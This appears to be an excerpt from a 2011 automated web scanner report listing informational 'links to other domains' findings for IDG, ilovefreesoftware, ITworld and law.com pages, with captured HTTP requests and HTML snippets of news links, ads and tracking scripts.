http://feeds.webwereld.nl/~r/Webwereld/~3/BFF2dQmmr0Y/diginotar-stapt-over-op-comodo-certificaat.html
http://gameprotv.com.feedsportal.com/c/32897/f/601002/s/1894b7ba/l/0L0Sgameprotv0N0Cas0Eluce0Ebattlefield0E30Een0Econsolas0Enoticias0E9580A0Bhtml/story01.htm
http://heimur.is/heimur/timarit/?news_id=175370
http://news.idg.bg/news/59271_samsung_shte_zabrani_prodazhbata_na_iphone_5
http://reseller.co.nz/reseller.nsf/news/equico-makes-south-island-appointment
http://rss.computerworld.com.br/c/32184/f/499631/s/18959420/l/0Lct0Bidg0N0Bbr0Ccgi0Ebin0Credirector0Bcgi0Drnd0F0A0Guid0F5f4a0Ae4d8d0Aa789a48aa6f14be0A10Ac50A0Gsite0Fcomputerworld0Gorigem0Fcomputerworld0Gurl0Fhttp0J3A0C0Ccomputerworld0Buol0N0Bbr0Cnegocios0C20A110C0A90C190Caccenture0Eabre0Ecentro0Ede0Einovacao0Eem0Emidia0Esocial0Gtitle0FRSS20Gtype0FRSS/story01.htm
http://rss.computerworld.com/~r/computerworld/news/feed/~3/BZyz2CkoXgI/Appcelerator_opens_mobile_marketplace_for_developers
http://rss.feedsportal.com/c/312/f/4414/s/189086f7/l/0L0Scomputerwoche0Bde0Chardware0Cstorage0C24957490C/story01.htm
http://rss.feedsportal.com/c/32539/f/491015/s/b3f9e69/l/0L0Scomputerworld0Bro0C0Dpage0Fnode0Gid0F190A70A/story01.htm
http://rss.feedsportal.com/c/639/f/415069/s/18908323/l/0L0Sidg0Bes0Ccomputerworld0CSe0Erevelan0Evulnerabilidades0Een0Elos0Esistemas0ESCADA0E0Cseccion0Etecnologia0Cnoticia0E11340A4/story01.htm
http://rss.idgnow.com.br/c/32184/f/499640/s/1895e52c/l/0Lct0Bidg0N0Bbr0Ccgi0Ebin0Credirector0Bcgi0Drnd0F0A0Guid0F230A6b923e4d1554184a6af7a6d9ce0A610Gsite0Fidgnow0Gorigem0Fidgnow0Gurl0Fhttp0J3A0C0Cidgnow0Buol0N0Bbr0Cmercado0C20A110C0A90C190Copera0Ecompra0Eempresa0Efornecedora0Ede0Eapp0Estores0Gtitle0FOpera0J20Acompra0J20Aempresa0J20Afornecedora0J20Ade0J20Aapp0J20Astores0Gtype0FRSS/story01.htm
http://rss.macworld.com/click.phdo?i=5d835b30fdbd13d24bf86716d705d799
http://www.computerworld.com.au/article/401300/appcelerator_opens_mobile_marketplace_developers/?utm_medium=rss&utm_source=taxonomyfeed
http://www.computerworld.dk/art/166965?a=rss&i=0
http://www.gamestar.hu/bioshock-infinite-tgs-2011-trailer.html
http://www.idc.com/getdoc.jsp?pid=23571113&containerId=SR01S
http://www.itworldcanada.com/news/ca-technologies-updates-service-operations-insight-to-3-0/143866
http://www.pcw.gr/Article/Latest/iPhone_5_case/179-6149.html
http://www.pcworld.al/lajmet/5496-Edicioni-tret-Software-Freedom-Kosova.html
http://www.pcworld.dk/art/165199?a=rss&i=0
http://www.techworld.com/security/news/index.cfm?newsid=3304411&rss
https://www.infoworld.com/t/cringely/wikileaks-meets-wiccaleaks-which-witch-173408?source=rss_

Request

GET /idgnetrssfeeds.nsf/html?openpage HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 200 OK
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:06 GMT
Last-Modified: Mon, 19 Sep 2011 19:08:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 17874
Cache-control: private
ETag: W/"MTAtODA4RC04NTI1Nzg0ODAwNTY0NjQ5LTg1MjU3OTEwMDA2OTIxMDctMA=="

<html>
<head>
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/newsitems.css">
</head>
<body>
<div class="latestnews" style="width: 211px; height: 20px;">
<table width="100%" border="0"
...[SNIP]...
<span class="newstitle"><a href="http://computerworld.co.nz/news.nsf/security/hackers-hit-japans-biggest-defense-contractor" target="_blank">Hackers hit Japan's biggest defense contractor</a>
...[SNIP]...
<span class="newstitle"><a href="http://feeds.webwereld.nl/~r/Webwereld/~3/BFF2dQmmr0Y/diginotar-stapt-over-op-comodo-certificaat.html" target="_blank">DigiNotar stapt over op Comodo-certificaat</a>
...[SNIP]...
<span class="newstitle"><a href="http://feeds.pcworld.com/click.phdo?i=38471db486fc5ceab218df54a5f523e7" target="_blank">Google's Senate Hearing This Week: What's At Stake For You</a>
...[SNIP]...
<span class="newstitle"><a href="http://rss.idgnow.com.br/c/32184/f/499640/s/1895e52c/l/0Lct0Bidg0N0Bbr0Ccgi0Ebin0Credirector0Bcgi0Drnd0F0A0Guid0F230A6b923e4d1554184a6af7a6d9ce0A610Gsite0Fidgnow0Gorigem0Fidgnow0Gurl0Fhttp0J3A0C0Cidgnow0Buol0N0Bbr0Cmercado0C20A110C0A90C190Copera0Ecompra0Eempresa0Efornecedora0Ede0Eapp0Estores0Gtitle0FOpera0J20Acompra0J20Aempresa0J20Afornecedora0J20Ade0J20Aapp0J20Astores0Gtype0FRSS/story01.htm" target="_blank">Opera compra empresa fornecedora de app stores</a>
...[SNIP]...
<span class="newstitle"><a href="http://rss.computerworld.com.br/c/32184/f/499631/s/18959420/l/0Lct0Bidg0N0Bbr0Ccgi0Ebin0Credirector0Bcgi0Drnd0F0A0Guid0F5f4a0Ae4d8d0Aa789a48aa6f14be0A10Ac50A0Gsite0Fcomputerworld0Gorigem0Fcomputerworld0Gurl0Fhttp0J3A0C0Ccomputerworld0Buol0N0Bbr0Cnegocios0C20A110C0A90C190Caccenture0Eabre0Ecentro0Ede0Einovacao0Eem0Emidia0Esocial0Gtitle0FRSS20Gtype0FRSS/story01.htm" target="_blank">Accenture abre centro de inova....o em m..dia social</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.gamestar.hu/bioshock-infinite-tgs-2011-trailer.html" target="_blank">Bioshock Infinite - TGS 2011 trailer</a>
...[SNIP]...
<span class="newstitle"><a href="http://rss.computerworld.com/~r/computerworld/news/feed/~3/BZyz2CkoXgI/Appcelerator_opens_mobile_marketplace_for_developers" target="_blank">Appcelerator opens mobile marketplace for developers</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.computerworld.com.au/article/401300/appcelerator_opens_mobile_marketplace_developers/?utm_medium=rss&utm_source=taxonomyfeed" target="_blank">Appcelerator opens mobile marketplace for developers</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.pcworld.al/lajmet/5496-Edicioni-tret-Software-Freedom-Kosova.html" target="_blank">Edicioni i tret.. i ...Software Freedom Kosova...</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.itworldcanada.com/news/ca-technologies-updates-service-operations-insight-to-3-0/143866" target="_blank">CA updates Service Operations Insight to 3.0</a>
...[SNIP]...
<span class="newstitle"><a href="https://www.infoworld.com/t/cringely/wikileaks-meets-wiccaleaks-which-witch-173408?source=rss_" target="_blank">WikiLeaks meets WiccaLeaks: Which is witch?</a>
...[SNIP]...
<span class="newstitle"><a href="http://feeds.idg.se/~r/idg/ETkj/~3/UoJhfkAjxN4/ny-enkat-om-vara-ipadvanor" target="_blank">Ny enk..t om v..ra iPadvanor</a>
...[SNIP]...
<span class="newstitle"><a href="http://news.idg.bg/news/59271_samsung_shte_zabrani_prodazhbata_na_iphone_5" target="_blank">Samsung .... .............. .................... .... iPhone 5</a>
...[SNIP]...
<span class="newstitle"><a href="http://feedproxy.google.com/~r/cio/newsalerts/~3/ldbNpLxkBQs/Appcelerator_Opens_Mobile_Marketplace_for_Developers" target="_blank">Appcelerator Opens Mobile Marketplace for Developers</a>
...[SNIP]...
<span class="newstitle"><a href="http://rss.macworld.com/click.phdo?i=5d835b30fdbd13d24bf86716d705d799" target="_blank">Netflix apologizes, spins off DVD service
</a>
...[SNIP]...
<span class="newstitle"><a href="http://feedproxy.google.com/~r/GameProNews/~3/8PxVnPC0M7E/" target="_blank">Dragon Quest Monsters: Joker 2 Out Today</a>
...[SNIP]...
<span class="newstitle"><a href="http://feedproxy.google.com/~r/idg/es/comunicacionesworld/~3/Vpa7zu4h_hc/story01.htm" target="_blank">Polycom lleva el v..deo HD a las redes sociales corporativas</a>
...[SNIP]...
<span class="newstitle"><a href="http://gameprotv.com.feedsportal.com/c/32897/f/601002/s/1894b7ba/l/0L0Sgameprotv0N0Cas0Eluce0Ebattlefield0E30Een0Econsolas0Enoticias0E9580A0Bhtml/story01.htm" target="_blank">As.. luce Battlefield 3 en consolas</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.techworld.com/security/news/index.cfm?newsid=3304411&rss" target="_blank">Cyberattackers hit Japanese defence giant with Trojan malware</a>
...[SNIP]...
<span class="newstitle"><a href="http://computerworld.hu/google-veszely-20110919.html" target="_blank">Google-er..: vesz..ly vagy lehet..s..g?</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.computerworld.dk/art/166965?a=rss&i=0" target="_blank">Stor test: Her er markedets bedste mobiltelefoner</a>
...[SNIP]...
<span class="newstitle"><a href="http://rss.feedsportal.com/c/639/f/415069/s/18908323/l/0L0Sidg0Bes0Ccomputerworld0CSe0Erevelan0Evulnerabilidades0Een0Elos0Esistemas0ESCADA0E0Cseccion0Etecnologia0Cnoticia0E11340A4/story01.htm" target="_blank">Se revelan vulnerabilidades en los sistemas SCADA</a>
...[SNIP]...
<span class="newstitle"><a href="http://rss.feedsportal.com/c/312/f/4414/s/189086f7/l/0L0Scomputerwoche0Bde0Chardware0Cstorage0C24957490C/story01.htm" target="_blank">Gadget des Tages: kix berlin usbeton - USB-Stick aus Beton</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.pcworld.dk/art/165199?a=rss&i=0" target="_blank">St..rke gratis programmer til underholdning og sociale medier</a>
...[SNIP]...
<span class="newstitle"><a href="http://reseller.co.nz/reseller.nsf/news/equico-makes-south-island-appointment" target="_blank">Equico makes South Island appointment</a>
...[SNIP]...
<span class="newstitle"><a href="http://feedproxy.google.com/~r/nwarss/~3/-prD2zTcN6E/unilever-shelf-availability-data-key-profit-growth" target="_blank">Unilever: On-shelf-availability data key to profit growth</a>
...[SNIP]...
<span class="newstitle"><a href="http://rss.feedsportal.com/c/32539/f/491015/s/b3f9e69/l/0L0Scomputerworld0Bro0C0Dpage0Fnode0Gid0F190A70A/story01.htm" target="_blank">IBM dezvolta capabilitatile de analiza prin achizitionarea Coremetrics</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.pcw.gr/Article/Latest/iPhone_5_case/179-6149.html" target="_blank">.... ...... iPhone 5 case;</a>
...[SNIP]...
<span class="newstitle"><a href="http://heimur.is/heimur/timarit/?news_id=175370" target="_blank">Sensa er me.. ...hrein... IP-kerfi fr.. Cisco: Dr..gum ekki fort....ina me.. okkur / 03/2005</a>
...[SNIP]...
<span class="newstitle"><a href="http://www.idc.com/getdoc.jsp?pid=23571113&containerId=SR01S" target="_blank">IT Trends and Expenditure in Ireland, 2010</a>
...[SNIP]...
<span class="newstitle"><a href="http://feedproxy.google.com/~r/DigitalWorldTokyo/~3/9WxExI22ZHU/" target="_blank">The secret...s out: Japan iPhone craze attracts global app developers</a>
...[SNIP]...
<span class="newstitle"><a href="http://feedproxy.google.com/~r/cso/news/~3/UCn0Zd6xeWo/blog_view.html" target="_blank">PC World: Sites... Personal Questions May Pose Security Risk</a>
...[SNIP]...

12.32. http://www.idg.com/www/homenew.nsf/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/home

Issue detail

The page was loaded from a URL containing a query string:

http://www.idg.com/www/homenew.nsf/home?readform

The response contains the following links to other domains:

http://www.cfoworld.com/
http://www.cio.com/
http://www.computerworld.com/
http://www.csoonline.com/
http://www.demo.com/
http://www.gamepro.com/
http://www.idc.com/
http://www.idc.com/about/press.jsp
http://www.idgconnect.com/
http://www.idgglobalsolutions.com/
http://www.idgknowledgehub.com/
http://www.idgknowledgehub.com/blogs/?p=9423
http://www.idgknowledgehub.com/blogs/?p=9679
http://www.idgknowledgehub.com/blogs/?p=9683
http://www.idglist.com/
http://www.idgresearch.com/
http://www.idgtechnetwork.com/
http://www.idgventures.com/
http://www.idgworldexpo.com/
http://www.infoworld.com/?source=AFL-idgcom
http://www.itworld.com/
http://www.javaworld.com/
http://www.linuxworld.com/
http://www.macworld.com/
http://www.networkworld.com/
http://www.pcworld.com/
http://www.weblivenow.com/idg/2012mediakit/landing.html

Request

GET /www/homenew.nsf/home?readform HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/

Response

HTTP/1.1 200 OK
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:30:31 GMT
Last-Modified: Mon, 19 Sep 2011 19:30:29 GMT
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html
Content-Length: 15567
Cache-control: no-cache

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>IDG.com: Home</titl
...[SNIP]...
<td valign="top" align="left" width="183px"><a href="http://www.idgknowledgehub.com/blogs/?p=9423 " target="_blank"><img border="0" src="/www/HomeNew.nsf/0/4793344D3AFD5B7E85257559005C75CC/$file/IDC_Btn_8-4-11.jpg""">
...[SNIP]...
<br>
<a href="http://www.weblivenow.com/idg/2012mediakit/landing.html">IDG Global Media Kit</a>
...[SNIP]...
<br>
<a href="http://www.idgglobalsolutions.com/">IDG Global Solutions</a>
...[SNIP]...
<br>
<a href="http://www.idglist.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGList.com');" >List Services</a><br>
<a href="http://www.idgresearch.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGResearch.com');" >IDG Research Services</a><br>
<a href="http://www.idgconnect.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGConnect.com');" >IDG Connect</a><br>
<a href="http://www.idgtechnetwork.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGTechNetwork.com');" >IDG TechNetwork</a><br>
<a href="http://www.idgknowledgehub.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGKnowledgeHub.com');" >IDG Knowledge Hub</a>
...[SNIP]...
<td valign="top" align="left" width="183px">
<a href="http://www.idgknowledgehub.com/blogs/?p=9683 " target="_blank"><img border="0" src="/www/HomeNew.nsf/0/85C38432A70DDA05852573B80064DE50/$file/IDG_btn_9-15-11.jpg""">
...[SNIP]...
<span class="coloumntitles"><a href="http://www.idgventures.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGVentures.com');" >IDG VENTURES</a>
...[SNIP]...
<td valign="top" align="left" width="183px">
<a href="http://www.idgknowledgehub.com/blogs/?p=9679 " target="_blank"><img border="0" src="/www/HomeNew.nsf/0/C275327A47B2031D852573640061CB28/$file/IDGEnt_btn_9-15-11.jpg""">
...[SNIP]...
<br>
<a href="http://www.idc.com/about/press.jsp">• How to Reach an IDC Analyst</a>
...[SNIP]...
<div>
<a href="http://www.weblivenow.com/idg/2012mediakit/landing.html" ><img border="0" src="/www/HomeNew.nsf/0/2C49235F3CD41671852572480076A2E9/$file/IDG_home_btn4.gif""">
...[SNIP]...
</a>
<a href="http://www.cio.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/cio.com');" >CIO</a>
<a href="http://www.cfoworld.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/cfoworld.com');">CFOworld</a>
<a href="http://www.computerworld.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/computerworld.com');">Computerworld</a>
<a href="http://www.csoonline.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/csoonline.com');">CSO</a>
<a href="http://www.demo.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/demo.com');">DEMO</a>
<a href="http://www.gamepro.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/gamepro.com');">GamePro</a>
<a href="http://www.IDC.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/idc.com');">IDC</a>
<a href="http://www.idgconnect.com" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGConnect.com');">IDG Connect</a>
<a href="http://www.idgknowledgehub.com" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGKnowledgeHub.com');">IDG Knowledge Hub</a>
<a href="http://www.idgtechnetwork.com" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGTechNetwork.com');">IDG TechNetwork</a>
<a href="http://www.idgventures.com" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGVentures.com');">IDG Ventures</a>
<a href="http://www.idgworldexpo.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/IDGWorldExpo.com');">IDG World Expo</a>
<a href="http://www.infoworld.com/?source=AFL-idgcom" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/infoworld.com');">Infoworld</a>
<a href="http://www.itworld.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/itworld.com');">ITworld</a>
<a href="http://www.javaworld.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/javaworld.com');">JavaWorld</a>
<a href="http://www.linuxworld.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/linuxworld.com');">Linuxworld</a>
<a href="http://www.macworld.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/macworld.com');">Macworld</a>
<a href="http://www.networkworld.com/" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/networkworld.com');">Network World</a>
<a href="http://www.pcworld.com" target="_blank" onClick="javascript: pageTracker._trackPageview('/outgoing/pcworld.com');">PC World</a>
...[SNIP]...

12.33. http://www.ilovefreesoftware.com/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css

Issue detail

The page was loaded from a URL containing a query string:

http://www.ilovefreesoftware.com/wp-content/plugins/wp-secure-by-sitesecuritymonitorcom/css/removenotice.css?ver=3.2.1

The response contains the following links to other domains:

http://a.collective-media.net/ad/idgt.ilovefreesoftware/home_below;sec=home;fold=below;tile=3;sz=728x90;ord=123456789?
http://a.collective-media.net/jump/idgt.ilovefreesoftware/home_below;sec=home;fold=below;tile=3;sz=728x90;ord=123456789?
http://connect.facebook.net/en_US/all.js
http://gmpg.org/xfn/11
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://services.picadmedia.com/js/picad.js
http://stats.wordpress.com/e-201138.js
http://themehybrid.com/themes/hybrid
http://tricks-collections.com/
http://whatsonmypc.wordpress.com/
http://wordpress.org/
http://www.3alternatives.com/
http://www.404techsupport.com/
http://www.carolsvault.com/
http://www.computertooslow.com/
http://www.facebook.com/pages/I-Love-Free-Software/112472075437410
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.google.com/jsapi
http://www.instantfundas.com/
http://www.mytechguide.org/
http://www.netbookfreeware.com/
http://www.savefewbucks.com/
http://www.twitter.com/ilovefreesw

Request

Response

HTTP/1.1 404 Not found
Date: Mon, 19 Sep 2011 19:16:24 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:16:25 GMT
Content-Length: 31882
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
<link rel="stylesheet" href="http://cdn.ilovefreesoftware.com/wp-content/themes/hybrid-news/style.css" type="text/css" media="all" /><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://www.ilovefreesoftware.com/xmlrpc.php" />
...[SNIP]...
<div id="header"><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...
<div class="googlesearch"><script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<map name="subscribe"><area shape="rect" coords="3,1,72,68" title="Become a Fan on Facebook" href="http://www.facebook.com/pages/I-Love-Free-Software/112472075437410"><area shape="rect" coords="82,1,149,69" title="Subscribe to RSS Feed" href="http://www.ilovefreesoftware.com/feed#"><area shape="rect" coords="157,0,228,70" title="Follow Us on Twitter" href="http://www.twitter.com/ilovefreesw"></map>
...[SNIP]...
<noscript><a href="http://a.collective-media.net/jump/idgt.ilovefreesoftware/home_below;sec=home;fold=below;tile=3;sz=728x90;ord=123456789?" target="_blank"><img src="http://a.collective-media.net/ad/idgt.ilovefreesoftware/home_below;sec=home;fold=below;tile=3;sz=728x90;ord=123456789?" width="728" height="90" border="0" alt=""></a>
...[SNIP]...
<li><a href="http://www.netbookfreeware.com" target="_blank">Netbook Freeware</a>
...[SNIP]...
<li><a href="http://www.savefewbucks.com/" target="_blank">Save Few Bucks</a>
...[SNIP]...
<li><a href="http://www.3alternatives.com" target="_blank">Freeware Alternatives</a>
...[SNIP]...
<div style="background-color:white;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<li><a href="http://www.instantfundas.com/" target="_blank">Instant Fundas</a>
...[SNIP]...
<li><a href="http://www.carolsvault.com" target="_blank">Carol's Vault </a>
...[SNIP]...
<li><a title="Tips and Tricks Service Printer and Computer" href="http://tricks-collections.com" target="_blank">Tricks Collections</a>
...[SNIP]...
<li><a href="http://whatsonmypc.wordpress.com/" target="_blank">What's On My PC </a>
...[SNIP]...
<li><a href="http://www.mytechguide.org/" target="_blank">My Technology Guide</a>
...[SNIP]...
<li><a href="http://www.ComputerTooSlow.com/" target="_blank">Computer Repair</a>
...[SNIP]...
<li><a href="http://www.404techsupport.com" target="_blank">404 Tech Support</a>
...[SNIP]...
<p class="credit">Powered by <a class="wp-link" href="http://wordpress.org" title="Powered by WordPress, state-of-the-art semantic personal publishing platform"><span>
...[SNIP]...
</a> and <a class="theme-link" href="http://themehybrid.com/themes/hybrid" title="Hybrid"><span>
...[SNIP]...
</script> <script src="http://services.picadmedia.com/js/picad.js"
type="text/javascript"></script>
...[SNIP]...
</div><script src="http://stats.wordpress.com/e-201138.js" type="text/javascript"></script>
...[SNIP]...

12.34. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js?h

The response contains the following link to another domain:

http://www.facebook.com/plugins/like.php?app_id=215820841793511&href='+url+'&send=false&layout=button_count&width=90&show_faces=false&action=like&colorscheme=light&font=arial&height=21

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 20 Jul 2011 21:04:03 GMT
ETag: "415feb-9bb2-4a8869273f6c0"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 39858
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:19:38 GMT
X-Varnish: 1959721538 1959719387
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 11
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

$(document).ready(function(){
// Functions for clicking on body - usually for closing menus
$('body').click(function(){
$('#header-profile-dropdown li').removeClass('expand');
});

...[SNIP]...
</fb:like>');
FB.XFBML.parse($xmlid, function(){
prev.addClass('visibility_hidden');
});
}*/
$( $xmlid ).html('<iframe src="http://www.facebook.com/plugins/like.php?app_id=215820841793511&href='+url+'&send=false&layout=button_count&width=90&show_faces=false&action=like&colorscheme=light&font=arial&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:90px; height:21px;" allowTransparency="true"></iframe>
...[SNIP]...

12.35. http://www.law.com/jsp/lawtechnologynews/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.law.com
Path:	/jsp/lawtechnologynews/index.jsp

Issue detail

The page was loaded from a URL containing a query string:

http://www.law.com/jsp/lawtechnologynews/index.jsp?id=1202433024186&Clio_Keeps_Solo_on_Top_of_Her_Practice

The response contains the following links to other domains:

http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=300a;ptype=56;tile=6;sz=300x250?
http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=300b;ptype=56;tile=6;sz=300x250?
http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=728a;ptype=56;tile=1;sz=728x90?
http://ad.doubleclick.net/ad/alm.lawtechnews/home;pos=spota;ptype=56;tile=15;sz=600x600?
http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=300a;ptype=56;tile=6;sz=300x250
http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=300b;ptype=56;tile=6;sz=300x250
http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=728a;ptype=56;tile=1;sz=728x90
http://ad.doubleclick.net/jump/alm.lawtechnews/home;pos=spota;ptype=56;tile=15;sz=600x600
http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://alm.122.2o7.net/b/ss/almMainDev/1/H.21--NS/0
http://bit.ly/ltd0123
http://bit.ly/n3tD5F
http://bit.ly/n5QjkE
http://bit.ly/nK2kCn
http://bit.ly/pSou5X
http://bit.ly/qF6jIF
http://bit.ly/qakmpd
http://bit.ly/r9OImd
http://bit.ly/rbrBSc
http://bit.ly/ricpb4
http://careers.lawjobs.com/jobs/browse
http://careers.lawjobs.com/js/xmlScrollView.js
http://careers.lawjobs.com/qjs?clientid=lawjobs&stringVar=xmlString&kOrTitle=partner%2C+attorney%2C+judge%2C+litigator%2C+counsel%2C+lawyer%2C+associate%2C+dean%2C&kAndEntire=;country=United+States;state=;jobSources=litigationsupport/IT;&pageSize=2&outFormat=jsxml&nopageview=1&nouniquevisitor=1
http://clecenter.com/
http://commonscold.typepad.com/
http://commonscold.typepad.com/ltn4products/2011/08/httpmediaprnewswirecomenjsplatestjspresourceid4711837accessehpress-release-epson-the-number-one-selling-projec.html
http://feedproxy.google.com/
http://feedproxy.google.com/~r/iphonejd/kBay/~3/cqjmj3mSgI0/belkin-products-50-off.html
http://html5.kaltura.org/js
http://itunes.apple.com/app/law-technology-news/id428975199?mt=8
http://lawyerist.com/law-firm-apps/
http://legaltechdirectory.com/
http://trial-technology.blogspot.com/
http://trial-technology.blogspot.com/2011/09/blawgs-quality-or-quantity.html
http://twitter.com/lawtechnews
http://twitter.com/ltntechtweets/homepage
http://www.alm.com/
http://www.almevents.com/
http://www.almexperts.com/
http://www.almexperts.com/litigation/Court%20Reporters/LitExpert/1125822
http://www.almlegalintel.com/
http://www.ctlawtribune.com/
http://www.dailybusinessreview.com/
http://www.dailyreportonline.com/
http://www.delawarelawweekly.com/
http://www.gcnewyork.com/
http://www.insightinfo.com/
http://www.lawcatalog.com/default.cfm?affil=2312863
http://www.lawjobs.com/
http://www.lawjobs.com/job_posting_opportunities.asp
http://www.lawjournalnewsletters.com/
http://www.lawjournalpress.com/
http://www.lawtechnews-digital.com/
http://www.legaltechdirectory.com/
http://www.legaltechdirectory.com/event
http://www.legaltechshow.com/
http://www.legaltechshow.com/r5/cob_page.asp?category_id=65264&initial_file=cob_page-ltech.asp
http://www.nlj.com/profiles
http://www.nylj.com/nylawyer
http://www.omniture.com/
http://www.shearsocialmedia.com/
http://www.shearsocialmedia.com/2011/09/ftc-may-soon-crack-down-on-social-media.html
http://www.smartlitigator.com/
http://www.verdictsearch.com/
http://www.virtualcorporatecounselforum.com/
http://www.virtuallegaltechshow.com/
http://www.virtuallegaltechshow.com/r5/cob_page.asp?category_code=register
http://www.virtuallegaltechshow.com/r5/home.asp
https://www.ma3000.com/
https://www.sunbeltfs.com/forms/lt/subscribe.asp?eid=KWSITE

Request

GET /jsp/lawtechnologynews/index.jsp?id=1202433024186&Clio_Keeps_Solo_on_Top_of_Her_Practice HTTP/1.1
